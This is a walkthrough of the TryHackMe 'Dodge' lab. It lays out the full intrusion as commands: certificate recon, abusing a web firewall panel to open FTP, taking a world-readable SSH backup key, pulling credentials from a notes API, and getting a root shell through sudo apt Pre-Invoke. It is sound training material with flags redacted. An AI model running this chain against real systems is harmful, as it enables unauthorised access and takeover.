TryHackMe Dodge Walkthrough
Original Bugflare writeup of the Dodge room. Medium, red-team flavored. The firewall blocks FTP until you talk it into opening the door — then a backup SSH key, a notes app on localhost, and unrestricted sudo apt finish the job.
Flags and passwords below are xxx / THM{xxx}. Grab the real ones from the box.
Before you poke anything
Give the deploy a couple of minutes. Once you pull hostnames from the cert (next section), drop them in hosts:
MACHINE_IP dodge.thm www.dodge.thm blog.dodge.thm dev.dodge.thm \
touch-me-not.dodge.thm netops-dev.dodge.thm ball.dodge.thm
Baseline scan:
nmap -sC -sV -Pn MACHINE_IP
First picture is usually 22, 80, 443 open and 21 filtered. UFW is awake. That filtered FTP is the whole first act.
Skip DNS fuzz — read the certificate
I wasted time on wordlists on rooms like this. The SANs are right there:
echo | openssl s_client -connect MACHINE_IP:443 2>/dev/null \
| openssl x509 -noout -text | grep -A1 'Subject Alternative Name'
Expect a pile like:
DNS:dodge.thm, DNS:www.dodge.thm, DNS:blog.dodge.thm, DNS:dev.dodge.thm,
DNS:touch-me-not.dodge.thm, DNS:netops-dev.dodge.thm, DNS:ball.dodge.thm
The ones that matter here: dev.dodge.thm and especially netops-dev.dodge.thm.
netops-dev — UFW in a web form
Open https://netops-dev.dodge.thm/. Page source / firewall.js points at:
https://netops-dev.dodge.thm/firewall10110.php
Thin UI over UFW. Status board tells you the plot:
- ALLOW — 22, 80, 443
- No allow for 21 (FTP)
The form posts command. Placeholder looks like sudo command parameter. Real UFW accepts:
sudo ufw allow 21
Or blow the whole filter:
sudo ufw disable
From the CLI if you prefer:
curl -sk -X POST 'https://netops-dev.dodge.thm/firewall10110.php' \
--data-urlencode 'command=sudo ufw allow 21'
Rescan. 21/tcp should be open. That "admin firewall toy" just became your port opener.
Anonymous FTP, then the backup key
ftp MACHINE_IP
# anonymous / anonymous
ls -la
cd .ssh
ls -la
get id_rsa_backup
get authorized_keys
A few gotchas:
user.txtshows in the home listing but mode400— FTP cannot pull it.- Plain
id_rsais locked down.id_rsa_backupis world-readable — that is the key you want. authorized_keysnames the account:challenger.
chmod 600 id_rsa_backup
# WSL tip: /mnt/c often ignores mode bits — copy the key to /tmp first
ssh -i id_rsa_backup challenger@MACHINE_IP
cat ~/user.txt
THM{xxx}
Up to cobra — tunnel or just read the files
challenger has no useful sudo. Two ways to the next user.
Intended path — local forward to the notes app
Something listens on 127.0.0.1:10000:
ssh -i id_rsa_backup -L 10000:127.0.0.1:10000 challenger@MACHINE_IP
Browse http://127.0.0.1:10000/public/html/login.php. Comments / dashboard after login spill cobra credentials for SSH or su.
Faster path — filesystem
You already have a shell. Notes live under /var/www/notes/api/:
cat /var/www/notes/api/posts.php
Find the base64 blob, decode it. JSON post titled something like "My SSH login" carries:
cobra / xxx
su - cobra
# password: xxx
sudo -l
User cobra may run the following commands on ...:
(root) NOPASSWD: /usr/bin/apt
That is the whole privesc. No password. Full apt.
Root — sudo apt the GTFOBins way
Unrestricted apt as root is not "package management privilege." It is a shell with homework:
sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh
You land in #.
cat /root/root.txt
THM{xxx}
Same Pre-Invoke pattern documented on GTFOBins apt.
Chain at a glance
TLS SANs
→ netops-dev / firewall10110.php
→ ufw allow 21
→ anonymous FTP → id_rsa_backup
→ SSH challenger → user.txt
→ notes API (or :10000 tunnel) → cobra
→ sudo apt Pre-Invoke → root.txt
Room answers (redacted)
| Question | Answer |
|----------|--------|
| user.txt | THM{xxx} |
| root.txt | THM{xxx} |
Accounts / artifacts (secrets redacted)
| Item | Value |
|------|--------|
| FTP | anonymous / anonymous |
| SSH | challenger + id_rsa_backup |
| cobra | xxx |
| Privesc | sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh |
What I keep from this box
Certificates leak hostnames harder than most CTF DNS wordlists. A browser UFW panel that runs sudo ufw … is not a toy — it owns the filter. Backup keys with sloppy perms beat a user.txt mode of 400. Localhost services are not isolation once you have SSH or disk read. And sudo apt without a tight argument allowlist is root; if you ever grant it on a real host, pin exact subcommands and force a password.
Replace MACHINE_IP with your lab IP. Path spoilers only — flags stay on the machine.